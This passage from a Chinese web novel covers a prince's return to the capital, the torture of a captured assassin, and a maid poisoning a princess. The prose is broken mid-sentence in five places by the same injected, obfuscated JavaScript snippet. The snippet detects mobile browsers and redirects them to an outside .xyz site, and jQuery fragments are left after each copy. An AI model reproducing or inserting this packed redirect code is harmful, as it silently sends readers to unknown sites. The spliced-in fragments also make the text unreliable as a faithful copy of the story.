程卫看着下方云雾缭绕的深渊,脸色凝重:“得速速通禀王爷,立刻派人封锁下崖路径,掘地三尺也要把他挖出来。”
阿图点头当即应下。
方青鸾有些懊恼。
这还是头一回有猎物从她手里逃走。
她依依不舍地垂眸看向手中沉甸甸的这张弓。
这弓是查抄柳家时抄出的赃物,当时无人能开,她路过时随手一试竟然拉开了。
这些年,她找到的弓总是弓力不足,开满了也轻飘飘的。
握住这把弓的时候,她就感觉到一股久违的、仿佛血脉相连的契合感瞬间涌上心头。
她对这把弓爱不释手。
永安王看出了她心中所想,允诺她,如果她能拿下黑风寨的当家,回京便以此弓为凭,请皇上下旨赏赐于她。
到时候名正言顺,御前过明路,这张弓就会真正属于她。
这下可惜了。
棠云婋看出了她的不开心,安慰道:“阿娘不必灰心,这丧家之犬,迟早被咱们揪出来。”
方青鸾点了点头,又高兴了起来。
也是,如今还没到京城,还有的是时间抓屠猛。
就算抓不到,能用这么一段时间也足够了。
青石崖顶的血腥气尚未散尽,山下大局已定。
青龙寨和黄龙寨的两位当家,连同他们带来的精锐喽啰,此刻如霜打的茄子,被五花大绑跪在谢翊宁面前。
他们脸上全是惊恐与茫然。
怎么回事?!
精心策划的伏杀,三方联手,占尽地利,明明该是万无一失的肥肉。
怎么转眼间,他们就成了自投罗网的瓮中之鳖?
两人惊慌失措地东张西望。
屠猛呢?
黑风寨的人呢?
青龙寨大当家第一个反应了过来:“**!屠猛这**卖了咱们?!”
什么联手发财,全都是狗屁!
这过山虎定是早就投靠了官府,拿他们青龙寨和黄龙寨的人头给永安王当投名状。
他忍不住破口大骂:“屠猛!!!你个背信弃义的王八蛋!你不得好死!”
黄龙寨大当家一听这话,气得浑身发抖,一口带血的唾沫狠狠啐在地上,仿佛吐的是屠猛的脸。
“屠猛,你**卖友求荣!你生儿子没**!生女儿世世为娼!你黑风寨**,死无葬身之地!!!”
谢翊宁嫌弃地瞥了一眼骂骂咧咧、唾沫星子乱飞的两人,扭头直接看向旁边的朱擎岳。
“朱将军。这俩腌臜货色,吵得人头疼,就交给您料理了。”
“是!王爷放心!”朱擎岳抱拳应声,嗓门洪亮,震得旁边跪着的俩匪首一哆嗦。
他脸上是压都压不住的笑意,嘴角都快咧到耳根子了。
这趟差事真是撞大运了!
皇上让他快马加鞭来接应永安王回京,本来以为是趟苦差。
谁成想半道上就遇着了王爷派来接头的人,一路他们按王爷的吩咐,化整为零,藏着掖着。
他抱着陪王爷玩过家家的心态听他指挥。
没想到最后竟然真的把这三个横行多年,官府剿了多少回都没啃下来的硬骨头山寨给一锅端了。
这天大的功劳砸他头上了,他能不高兴么。
等回京之后,升官发财,妥了!
这下朱擎岳对永安王彻底改观了。
原以为他是一个混不吝的纨绔子,没想到这位爷是真有点东西啊。
这脑子怎么长的?
挖坑下套一气呵成,把这些精得跟鬼似的山匪耍得团团转,最后全给摁死在这儿了!
他以前真是小瞧了永安王。
谢翊宁对这些山匪并不感兴趣,他真正在意的是混在俘虏堆里,被鸣珂单独拎出来试图浑水摸鱼,趁着山匪作乱对他下死手的暗卫。
其中两个,就算脸上抹了灰土换了破衣烂衫,他还是一眼认出来了。
上回在莘县,追杀他的人里就有他们俩。
其中一个自尽太快,没留下活口,还好另一个活下来了。
他慢悠悠地走到那个被按跪在地上,脸色煞白却强装镇定的暗卫面前,不轻不重地踢了踢一下他的下巴。
“啧。莘县那会儿,你下刀子不是挺利索么?怎么,换了个地界,就手生了?”
石峥瞳孔猛地一缩,身体瞬间绷紧。
糟了,永安王认出他来了。
可那天夜里,他明明蒙着面,永安王究竟是怎么认出他的?
“说吧,谁派你来的?”谢翊宁蹲下身,视线与他齐平。
见他不吭声,又道:“不说话?行啊,骨头够硬。本王就喜欢硬骨头。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132890|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢翊宁站起身,掸了掸袍角的灰:“鸣珂,带下去。找个清净地儿,好好招待招待这位故人。”
石峥:“……”
他嘴里的口水顺着唇角流了下去,他不信永安王没看到。
他被卸了嘴巴,怎么说啊!!!
永安王分明是故意想找借口折磨他。
“是!”鸣珂心领神会。
他早就想收拾这家伙了。
那日若不是他们,他的弟兄们又怎么会死掉那么多。
石峥身子下意识地一哆嗦。
他知道暗卫营里的那些手段有多可怕,他无比后悔自己刚刚动作怎么就慢了一些。
待会怕是要遭大罪了。
鸣珂将他扔到了一个帐篷后边,随后当着他的面开始磨刀。
等刀磨好,他看向一旁的守卫,吩咐道:“拿一罐盐来。”
石峥顿时猜到了他要做什么,身子不受控制地颤抖了起来。
鸣珂面无表情地看着他:“那夜我们**十二个弟兄,一人收你十刀利息,不过分吧?”
说完鸣珂便动手了。
第一刀落在了他的左肩,利刃轻易地割开皮肉,鲜血瞬间涌出。
鸣珂根本不为所动,手法精准而稳定。
割、挑、旋……
每一刀都避开了要害。
十刀过后,石峥的左肩至手臂已是一片模糊的血肉。
“盐。”鸣珂吩咐。
守卫立刻抓了一把粗盐,狠狠按在石峥那血肉模糊的伤口上。
“啊——”石峥喉咙里发出了惨叫,身体猛地弓起,浑身剧烈抽搐,口水混合着血沫从嘴角淌下。
鸣珂冷漠地看着他抽搐,等他这一波剧痛稍稍缓过一点劲,手中的刀又落了下去。
这次是右腿。
十刀!
盐!
如此循环往复。
石峥的意识在剧痛和盐的灼烧下已经彻底崩溃了。
鸣珂数着刀数,精准地割完了一百二十刀。
石峥身上几乎没有一块好皮,整个人成了一个血葫芦,却偏偏还吊着一口气。
鸣珂这才停手,丢开沾满血肉的利刃,将谢翊宁请了过来。
“王爷,可以问话了。”
谢翊宁点头,鸣珂便蹲下身,伸出手,动作粗暴地捏住他的下巴。
只听“咔吧”一声轻响,将他之前脱臼的下巴给硬生生掰回了原位。
“呃……”下巴归位的剧痛让石峥发出一声模糊的呻吟。
谢翊宁对他的惨状视若无睹,冷冷道:“谁派你来的。”
石峥牢牢记着他这一次的任务,微弱地回答道:“公主……是康乐……公主……”
第326章 怎么又失败
“康乐公主?”谢翊宁眉头皱了起来。
他明白了。
康乐公主多半是因为景王的原因迁怒到他身上,所以想要他的命。
他们倒是兄妹情深。
“让季行舟来一趟,吊着他的命,让他回京城。”谢翊宁冷笑一声,吩咐了下去。
他并未相信这人的话。
上一回,可是有两拨人来刺杀他。
谁知道会不会是那两拨人狗咬狗,先吊着这家伙的命,回京让父皇去查,看看这条狗背后的主人到底是谁。
季行舟被叫过来,看着变成血人的石峥“哇”一下就吐了。
这血腥味太浓了,他还是头一回遇到伤成这样的病人。
吐完之后,他可怜巴巴地看向谢翊宁:“王爷,这么严重,万一救不活您可不能怪我。”
永安王一天天给他安排的都是什么病人啊!
“小季大夫,放心,都不是致命伤,肯定能活。”谢翊宁拍了拍他的肩膀,“这里就辛苦你了。”
季行舟:“……”
王爷怎么这样!
之前在青州还叫他季太医,现在就变成小季大夫。
他的眼神太过幽怨,谢翊宁实在无法忽视。
他赶忙道:“救活他,平安回到京城,本王会跟父皇举荐你免考入太医院,让你当太医。”
季行舟这才认命地捏着鼻子开始救人了。
他一边小声嘟囔,一边处理伤口。
“列祖列宗在上,你们一定要好好保佑我啊。不肖子孙季行舟能不能当上大虞最年轻的太医,光宗耀祖,就看这一回了。”
另一边,棠云麒见到娘亲和妹妹平安无事回来,松了一口气。
得知他们要去找谢翊宁,他也跟了上去。
见到谢翊宁,他便忍不住道:“王爷,我有一事想问。”
“你问。”谢翊宁点了点头。
棠云麒双手抱拳,朗声道:“今日之事,王爷真是神机妙算!但我实在想不明白,您是怎么知道这三个寨子会联手设伏的?”
谢翊宁脸上浮起一抹从容的笑意。
“从柳家抄家那日,本王就已经开始筹谋了。”
在柳家抄出巨额财富之后,他便猜到了回京之路定然不会太平。
因此趁着重建棠家村的时机,提前派人往京城走了。
青州到京城千里迢迢,沿途多山险峻,匪患盘踞,危险重重。
有了上一次被刺杀的经验,这一次他决不允许出现任何意外。
谁知道上一次那些人会不会卷土重来,浑水摸鱼,趁乱刺杀。
所以他便提前派人扮做行商的百姓以及走投无路的人,上山落草为寇,混入了几个寨子当中。
他看过舆图,回京之路上最适合下手的地方就是黑风峡。
利用这里的地势,那些山匪攻击他才能确保万无一失。其他的地方,他们无非几百人,哪里敢正面跟他这一千多人迎战。
所以这些山匪多半会选在这里下手。
他的人提前和朱擎岳接上了头,早早在这里备下了埋伏。只等他的信号,时机一到,便将青龙寨和黄龙寨的人来个瓮中捉鳖。
再加上提前混入寨子里的那些眼线,这一仗,他不可能会输。
棠云麒听得目瞪口呆:“原来重建棠家村时,您就已经在准备了啊!”
看来离开青州之后的每一步都在王爷的算计之中。
从重建棠家村开始,到利用敌人贪念引蛇出洞,再到与京郊大营的朱将军默契配合……
环环相扣,滴水不漏。
棠云麒看着谢翊宁的目光变得复杂了起来。
年纪差不多,怎么他和永安王的脑子就差得那么远呢?!
等他们两人说完,方青鸾这才依依不舍地把那张弓还给了永安王。
“王爷,民妇没能擒住那屠猛。这弓理当还给您……”
谢翊宁不解:“你给本王作甚?”
他这么一说,方青鸾反而懵了。
这是朝廷的东西,用完不是应该还给王爷么?
谢翊宁看着她迷茫的表情,若有所思,随后笑了起来:“程卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132891|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是说你已经杀死二当家和三当家了么,这弓迟早要归你的,你先拿着用吧,一路上说不定还会遇到突袭呢。”
“迟早要归我?是什么意思?”巨大的惊喜砸得方青鸾脑袋发晕。
谢翊宁:“本王一向说话算话。你只要拿下黑风寨的当家,这弓就归你了。”
棠云婋最先反应过来。
“阿娘,王爷说的是拿下黑风寨的当家,又没说拿下哪个当家,更没说必须是大当家。您都已经杀了二当家和三当家了,这弓可不就迟早归您么。”
方青鸾终于反应过来了,她抱着弓像是抱自己最珍贵的宝物,激动得语无伦次:“多谢王爷!多谢王爷!”
没过多久,程卫领着阿图回来了。
“王爷,山洞里没找到屠猛,他应该是从小道不知道钻到什么地方去了。”
程卫有些懊恼。
竟然让这么一个受了伤的大活人给逃了。
“你带一队人去找,找三天如果找不到,那就撤回来追上我们。”谢翊宁不打算在一个屠猛身上浪费时间。
现在最重要的事情是回京。
“是。”程卫当即应下。
*
谢翊宁一行人一下剿灭了三个山匪窝窝的事情传了出去。
其他想打他们主意的匪徒都老实了。
消息传回京城里,睿王目眦欲裂。
失败了!
怎么又失败了!
上一次追杀谢翊宁,就折损了他过半的暗卫。
还是有康乐的人顶在前边开道的情况下。
这一次,他派去的人又没了。
三个山寨的匪徒都杀不掉谢翊宁。
难不成他是天命之子么?
一个短命鬼,为何如此命硬?!
睿王气得将屋子里的东西全都砸了一遍,乒乒乓乓一阵响,听得伺候的人心惊胆战。
“王爷,永安王马上就要抵达京城了,咱们不能再拖下去了……”暗卫头领提醒道。
“嗯。”睿王深吸一口气,点了点头。
“动手吧。”
第327章 驸马的**
得知谢翊宁还有两日就要抵达京城,康乐公主端起手边那碗温着的燕窝羹,勺子在里面搅得叮当响,半天也没送进嘴里。
最终她还是下定了决心,将暗卫叫了出来。
“离火。”
“属下在。”离火从阴暗处走了出来。
康乐公主盯着碗里晃动的波纹,像是在自言自语:“不能让他就这样回来。”
她顿了顿,勺子猛地磕在碗沿上,发出清脆的一声响。
她看向跪在地上的暗卫,沉声道:“你走一趟,试试看能不能杀了他,若是不行,便给他留些线索,好让他知道杀他的是睿王。”
“是。”离火答应了下来,当即领命去办事。
他走之后,康乐公主只觉得心烦气躁得很,像有团火在五脏六腑里拱。
谢翊宁怎么就那么命硬呢。
他怎么就没死呢。
要是他**那该多好,她就不用提心吊胆害怕父皇查到自己头上了。
也不知道离火这一次能不能把事情办妥。
正烦着,扭头看到案上那碗黏糊糊的燕窝羹,她一肚子的火冒了出来。
她猛地一推碗,拔高了音调,带着点不耐烦的尖利:“素月!”
珠帘微动,素月走了进来,垂着眼恭敬地行礼:“奴婢在。殿下有何吩咐?”
“撤了撤了!黏糊糊的,看着就心烦!”
康乐公主烦躁地挥挥手,那碗精致的燕窝被推得在案上晃了晃,汤汁差点溅出来。
她蹙着眉,手指用力揉着发紧的太阳穴:“这鬼天气,热得人火气直冒。给本宫换点真正清爽败火的来。”
“是。”素月点点头,上前小心翼翼地端起那碗被嫌弃的燕窝转身退下。
素月命人做了绿豆百合汤。
“辛苦了,我给公主送去。”
她端起面前的青玉碗,往康乐公主的寝殿走去。
小厨房通往公主寝殿的回廊不长,此刻却漫长得如同没有尽头。
一步一步,素月感觉心脏都要跳到嗓子眼来了。
她耳畔里响起睿王威胁她的那些话。
“……你与驸马那点子破事,若是让康乐知道了,你猜猜,咱们的驸马爷是会保他现成的荣华富贵,还是会保你这朵见不得光的解语花?”
她根本不用猜!
康乐公主是个眼里容不得沙子的性子。
当初驸马爷不过是多看了个新来的小宫女两眼,说了几句玩笑话,那小宫女没过两天就失足掉进了后花园的枯井里。
那井口才多宽?
失足?
骗鬼呢!
而她和驸马的事,可比那几句玩笑话严重千百倍。
驸马爷最多挨顿训斥,她一个被主子捏在手心里的玩意儿,还不是主子想怎么处置就怎么处置。
可这能全怪她吗?
素月心里涌上巨大的委屈和悲愤。
那夜驸马喝得烂醉如泥闯进她的小屋,力气大得像头牛,她一个小宫女,能有什么力气反抗?
惊动了人,她一样是个死。
事后驸马倒是清醒了,又怕又悔,塞给她些首饰银钱,求她闭嘴。
她能怎么办。
告发驸马吗?
那是死路一条!
殿下只会觉得是她这贱婢心思活泛,故意爬驸马的床,是她想攀高枝。盛怒之下,恐怕会用更狠毒的法子来折磨她,好杀鸡儆猴。
因而她只能把这天大的**和恐惧死死咽进肚子里,日日提心吊胆,假装什么也没发生。
可偏偏那日之后,驸马却跟上瘾了一般,隔三岔五就要来找她温存一番。
她生怕被殿下发现。
不知道为何,殿下还不知道,睿王就先发现了她和驸马的**。
横竖都是死路一条……
素月的心沉到了谷底。
她决定听从睿王的命令,给康乐公主下毒。
公主殿下身亡后,就不会有人追究她和驸马的那些事了,睿王也会找机会把她带走,让她远离驸马。
为了赌这一线生机,素月豁出去了。
终于抵达了寝殿。
她端着这碗绿豆百合汤走了进去。
康乐公主烦躁地询问:“送的什么?”
“绿豆百合汤。”素月的声音努力维持着一贯的恭顺平稳,将托盘轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136186|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻放在公主手边的矮几上。
康乐公主紧蹙的眉头舒展了一瞬,没说话,只是目光从汤碗移到了素月脸上。
素月立刻会意,该试毒了,这是规矩。
她垂着眼,从托盘里拿起一支备好的银匙,慢吞吞地盛了两口到一旁的小碟子里。
同一时间,她趁着分装绿豆汤的机会,借着身体自然前倾,衣袖垂落的完美遮挡,迅速将藏在中指指尖在碗壁一划。
指甲盖内侧那点**,在接触到冰冷液体的瞬间融化,无色无味的粉末彻底消融在碗中。
素月强压着自己发抖的手,将那勺汤送入口中,冰凉清甜的味道滑过舌尖,她却尝不出丝毫滋味。
随后她将银匙放回托盘,站在一旁,低眉顺眼地等待。
一炷香后。
康乐公主似乎等得不耐烦了,她伸出手命令道:“拿来吧。”
“是。”素月应声,心脏骤然缩紧,但动作却异常平稳。
她上前一步,双手恭敬地捧起那只冰凉的青玉碗送了过去。
碗里的汤水碧绿清透,碎冰浮动,百合雪白,看起来无比诱人,与之前没有任何区别。
康乐公主接过碗,拿起托盘里另一支专门供她使用的金勺,舀起一勺绿豆百合汤优雅地送入口中。
冰凉的甜意瞬间压下了心头的燥火,她舒服地喟叹了一声:“嗯,还算爽口。”
说完又接连吃了几口。
吃完之后还满意地赏了素月一支银簪子。
素月跪在地上磕头:“多谢殿下。”
她目送着康乐公主回了寝屋,提起的心却迟迟没有放下。
睿王殿下说,这个药要两个时辰后才会发作。
她得找准时机,将那封遗书给放到公主的寝屋里才行。
时间从未如此缓慢又如此紧迫。
素月强迫自己镇定下来。端着空托盘,脚步如常地退出了主殿。
收拾完之后,她去了值夜宫女待的小隔间。
今晚守在内室门外的是二等宫女碧溪和翠岚。
碧溪比较机灵,翠岚更老实规矩。
她必须得支开她们。
第328章 我想死你了
“殿下已经歇息了。”素月的声音恢复了平日的沉稳。
“碧溪,你去小厨房,让她们明早备一份清爽些的早膳单子呈上来,殿下今日胃口似乎不太好。”
碧溪不疑有他,应了声“是”,便起身去了。
素月看向了翠岚,想了个新的理由。
“翠岚,殿下睡前说熏香似乎浓了点,你去把外殿香炉里的香饼挑出来半块,换块淡些的香。”
“是,素月姐姐。”翠岚连忙应下。
趁着翠岚低头专注处理香炉时,素月无声无息地掀开了寝屋厚重的锦缎门帘,侧身闪了进去。
康乐公主侧卧在床上,锦被下的呼吸声均匀悠长,显然睡得很沉。
素月屏住呼吸,无声地把怀里那封遗书放到了床头那张紫檀木小几上。
上面只放着一盏熄灭的琉璃小灯和一把玉梳。
梳子正好可以压住遗书。
随后她迅速放下门帘离开。
身体刚刚站直的瞬间,翠岚也刚好换好了熏香,正转身往回走。
“素月姐姐?”翠岚看到她站在门口,有点疑惑。
素月心头猛地一紧,指了指门口的冰鉴。
“方才殿下用汤时,似乎被碗底的寒气激了一下,有些咳嗽。我刚瞧了一眼,发现殿下睡得不**稳。这冰鉴里的冰,你看着点,别再让寒气直接对着寝屋门缝了。”
她语气自然,翠岚便没想太多,只在心底暗暗感慨,怪不得素月姐姐能得到殿下的恩宠呢。
看看人家,多细心呀,她得多学着点。
“是,姐姐放心。”翠岚乖巧答应。
*
西山附近,谢翊宁一行人安寨扎营。
“终于要进到京城了啊。”季行舟松了一口气。
这一路上,他们声势浩大,没有山匪想不开来劫持他们了。
可以说是一路平平安安。
眼看就要到家了,季行舟只觉得一股难以言喻的激动直冲脑门,连带着嘴角都抑制不住地往上翘。
想着府里厨子拿手的蟹粉狮子头、香酥鸭、还有那冰镇得恰到好处的各色甜羹,他就忍不住疯狂咽口水。
“莫要放松警惕。越靠近京城,才越危险。”负责保护他的鸣珂沉声提醒。
那个刺杀王爷的暗卫还得让季行舟续命,他可万万不能出事了。
“不会吧,天子脚下,谁胆子那么大?咱们好几千人呢。”季行舟有些怀疑。
等到晚上,他睡着睡着忽然听到了有**喊“有刺客”。
顿时吓得一激灵,迅速爬了起来。
坏了,真让鸣珂那个乌鸦嘴给说中了。
危险真来了!
……
谢翊宁坐在帐篷里直打瞌睡。
为了吸引那些刺客,他特意在帐篷顶上整了个明晃晃、亮瞎人眼的紫色大绸布盖上去。
生怕别人不知道他住在哪。
就差没明晃晃地说“我,永安王就在这,是刺客就来砍我”。
结果等了那么多天,也不知道那些人是不是吓破了胆,竟然按捺到了现在也没动。
“这帮家伙效率也太低了。”他含糊地嘟囔着,“再不来,本王都要困**……”
没想到,就在他困得不行的时候,一支箭从帐篷外射了进来。
箭刚没入帐篷一半,就被秦朔斩断了。
“有刺客!护驾!”
秦朔大叫一声,紧接着就是一阵兵荒马乱的脚步声和刀剑碰撞声。
谢翊宁弯腰捡起那支落在地上的箭,箭尾靠近羽翎的地方刻着一个微小的、但无比清晰的印记。
是睿王府的箭。
谢翊宁:“……”
一时间不知道是睿王太傻,还是那个嫁祸栽赃的人戏码太拙劣。
不过这样也好,他总算知道上回另一波刺客出自哪里了。
睿王和康乐公主,谁的手都不干净。
当然,也不排除有第三方的可能。
但现在,他们俩的嫌疑最大。
没过多久,秦朔和朱擎岳一脸惭愧地走了进来。
“回王爷,下官无能,没能留住那刺客。”
“无妨,他应该也只是试探试探本王,没想着下死手,所以才跑得快。”谢翊宁摇了摇头。
“反正快到京城了,那些人本王迟早会揪出来。”
“是。”秦朔和朱擎岳都退下了。
谢翊宁打了个哈欠,睡着了。
翌日睡醒,谢翊宁精神十足地策马往京城赶。
还没到城门,棠家人便与他们分道扬镳了。
“王爷,我们先回摘星山庄了。”
棠云婋作为代表来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136187|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟谢翊宁道别。
朝夕相处了那么长的时间,骤然分开,谢翊宁心里有些不适应。
但他也知道,没有理由可以阻止棠云婋回家。
他点了点头:“嗯,明日若父皇要召你入宫,本王会派人来告知你。”
“好,那就多谢王爷了。”棠云婋笑眯眯地冲他摆了摆手,目送着他们往城门方向走去。
直到他们离开,棠云婋这才带着爹娘兄长回了摘星山庄。
没想到,刚到山庄门口,就看到了衔蝉领着丫鬟在门口等他们。
看到衔蝉,双鲤飞快地跑了过去,扑到她的怀里,亲亲热**开口:“衔蝉姐姐,我想死你了。”
衔蝉笑着捏了捏她的脸。
“我也想你。”
随后又板着脸道:“你如今是县主身边的丫鬟,怎么能这般不守规矩。”
听到这话,双鲤头皮发麻。
完了完了,衔蝉姐姐又要开始念经了。
她果断认错:“我知错了,衔蝉姐姐,我就是见到你太高兴了嘛。”
“待会我抽查你的规矩,若是忘了,那可别怪我罚你了。”衔蝉不轻不重地拍了她的手心一下,这才快步迎上了马车。
“奴婢见过县主。”
棠云婋笑着点了点头:“这些日子,辛苦你了。”
“为县主分忧,是奴婢的职责,不辛苦。”衔蝉也露出了笑意。
棠家人没想到女儿/妹妹身边的丫鬟竟然这般有气质,看着跟大户人家的小姐似的,顿时有些拘谨。
他们这一路学的规矩也不知道合不合格,不会给婋婋丢脸吧?
棠云婋挽住了阿娘的胳膊,将他们领到了庄子里,将庄子里的下人都叫了过来,给他们一一介绍了起来。
“见过老爷,见过夫人。”
“见过大少爷,见过二少爷。”
山庄里的下人们都恭恭敬敬地给几人行礼。
棠家人也知道今时不同往日。
他们如今已经不是棠家村的普通村民,他们不能给婋婋丢脸,他们得尽早适应这样的生活。
棠云婋让人领着爹娘兄长去了各自院子安顿,这才有空问起衔蝉。
“这两个月京城里怎么样?我们走时五月底,这一趟回来竟都八月初了,比原想的晚了不少。”
第329章 公主的遗书
衔蝉早有准备,麻利地拿出个小本子翻开,一样样回道:
“回县主,定远侯府前些日子办了满月宴。您不在京城,奴婢和两位嬷嬷商量了一下,就按旧例,做主送了份礼过去。”
“还有流光阁那边的分红,关老板也送来了。账本在这儿。”
说着,她从旁边拿起一本册子递了过来。
棠云婋接过账本扫了一眼,见没什么纰漏,便随手搁在一旁。
“做得不错。”她笑着看向衔蝉,“对了,你怎么掐得这么准,知道我们今天回来?”
衔蝉抿唇一笑:“前几日您送的信就到了。奴婢想着老爷和夫人是跟您一道回来的,就早早派了人在回京的必经之路上候着。”
“今儿一早,探路的小厮远远瞧见了王爷一行人马,就赶紧跑回来报信啦!”
她一边说,一边利落地收拾着桌上的东西。
“所以呀,灶上早就预备着您爱吃的饭菜了。只要您一声令下,热腾腾的午膳就可以端上桌了。”
棠云婋听完忍不住在心底感慨:衔蝉不愧是永安王府出来的,办事果然体贴。
王爷真是给她送了一个很好很好的丫鬟。
想到永安王,棠云婋一时间有些失神。
往日用午膳,都是和谢翊宁一块。
如今忽然少了他,她总感觉有些不习惯。
罢了,想必很快他就会到宫里了,按照皇上和皇后娘娘偏宠他的劲,肯定早早就备好了宫廷盛宴等他。
比起摘星山庄的午膳,那肯定还是宫里的更香了。
棠云婋收回了思绪,微微一笑:“那便用膳吧。”
*
一路风尘仆仆,谢翊宁还没来得及回王府换身干净的衣裳,就收到了康乐公主身亡的消息。
“什么?”谢翊宁没想到他还没来得及找康乐公主算账呢,她怎么就先**?
“她**的?”他看向出城迎接他的照夜。
照夜赶忙快速道:“据说是服毒自尽,时间太短了,自尽的缘由属下尚未查清。”
谢翊宁皱紧了眉头。
这个节骨眼,康乐公主死得未免也太蹊跷了些。
他果断熄了回府换衣裳的念头。
别管什么狼狈不狼狈了,先让父皇看到他这一趟过得有多惨要紧。
省得他因为康乐**就心软,然后对他被刺杀的事情高高拿起轻轻放下。
谢翊宁几乎是脚不沾地地冲进了宫。
严公公远远瞧见他风风火火的身影,心里就咯噔一下,赶紧小跑着进去通报:“皇上,永安王殿下到了。”
“这么快?!”文昭帝刚端起茶盏的手一顿,茶水差点晃出来。
他心里一阵发紧。
小石头回京连王府大门都没进,就直奔他这要说法来了。
可康乐人都没了,他还能怎么办?
难不成把**从坟里刨出来再杀一遍?
文昭帝只觉得太阳穴突突直跳,一阵无力感涌上心头。
正烦躁着,门外已经响起了谢翊宁那带着十足委屈、九分控诉、还夹杂着一丝可怜巴巴的声音。
“父皇!两个月零三天不见,您就不想儿臣吗?是不是宫里哪位娘娘又给您添了皇儿,所以您就不想要儿臣这个短命鬼了?”
这熟悉的、带着点耍赖腔调的质问,让文昭帝紧绷的心弦莫名松了一丝,随即又被更大的头疼取代。
他无奈地朝严公公挥了挥手:“让他进来吧,再不让进来,还不知道他要嚎出什么乱七八糟的事情来。”
严公公如蒙大赦,赶紧把门外的谢翊宁请了进来。
“你这孩子,胡说什么,哪来的新皇儿。更不许说自己是短命鬼。”他板着脸训斥完,看见四肢健全、活蹦乱跳地站在眼前的谢翊宁,又不由自主地露出一丝欣慰又慈爱的笑容。
“你这孩子,怎么弄得灰头土脸的?两个月不见,朕瞧着你好像瘦了,也长高了?”
“不止,还快**呢。”谢翊宁接话。
文昭帝:“……”
这死孩子,一开口就把他噎个半死!
他瞪了谢翊宁一眼,刚要开口提康乐的事,就见他抢先一步跪在自己的腿边,抱着自己的腿嗷嗷诉苦。
“父皇!您知不知道儿臣这两个月过的是什么日子啊。”
“那简直是水深火热,九死一生!”
“吃,吃不好,睡,睡不安稳。除了要对付那群贪官污吏,还要防备别人追杀。”
“您不知道那时候情况有多危险,我们什么都来不及拿就开始逃跑……”
“要不是令嘉县主机灵,一个人穿过山林去玉禅寺搬来救兵,儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139682|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
臣这会儿怕是已经变成一具无人收殓的白骨了。那父皇您可就真见不着我了!”
“更别提后来柳家有多夸张了,还有那些山匪……”
谢翊宁告状诉苦,一口气不带停,根本不给父皇开口打断他的机会。
文昭帝越听,脸色越是难看。
他之前只知道路上有刺客,却没想到凶险到了如此地步。
“真是苦了你了,小石头。”他轻轻拍了拍谢翊宁的肩膀。
随后,他目光转向一旁大气不敢出的严公公,吩咐道:“愣着干什么?还不赶紧给王爷搬张舒服的椅子来!再端碗酸梅汤来,给王爷解解渴。”
“是,老奴这就去!”严公公连忙躬身退下,脚步飞快地去张罗了。
很快,一张铺着软垫的紫檀木圈椅被搬了过来。
谢翊宁也不客气,一屁股就瘫坐了进去,长长舒了口气,小声嘟囔道:“还是宫里椅子舒服。”
文昭帝看着他这副模样,又是好气又是好笑,但更多的还是心疼。
这孩子,这几个月吃的苦头怕是比出生到现在加起来的还要多。
他默默地看着谢翊宁端起严公公奉上的酸梅汤,咕咚咕咚灌了几口。
沉默片刻后,这才将桌上的遗书拿了起来。
“小石头。”文昭帝有些纠结地开口。
“你三皇姐康乐……没了。”
谢翊宁但脸上没什么意外表情,只是抬眼看着他,没说话,似乎在等着下文。
文昭帝叹了一口气,将遗书递给了他。
“这是她留下的,事情和你有关,你看看吧。”
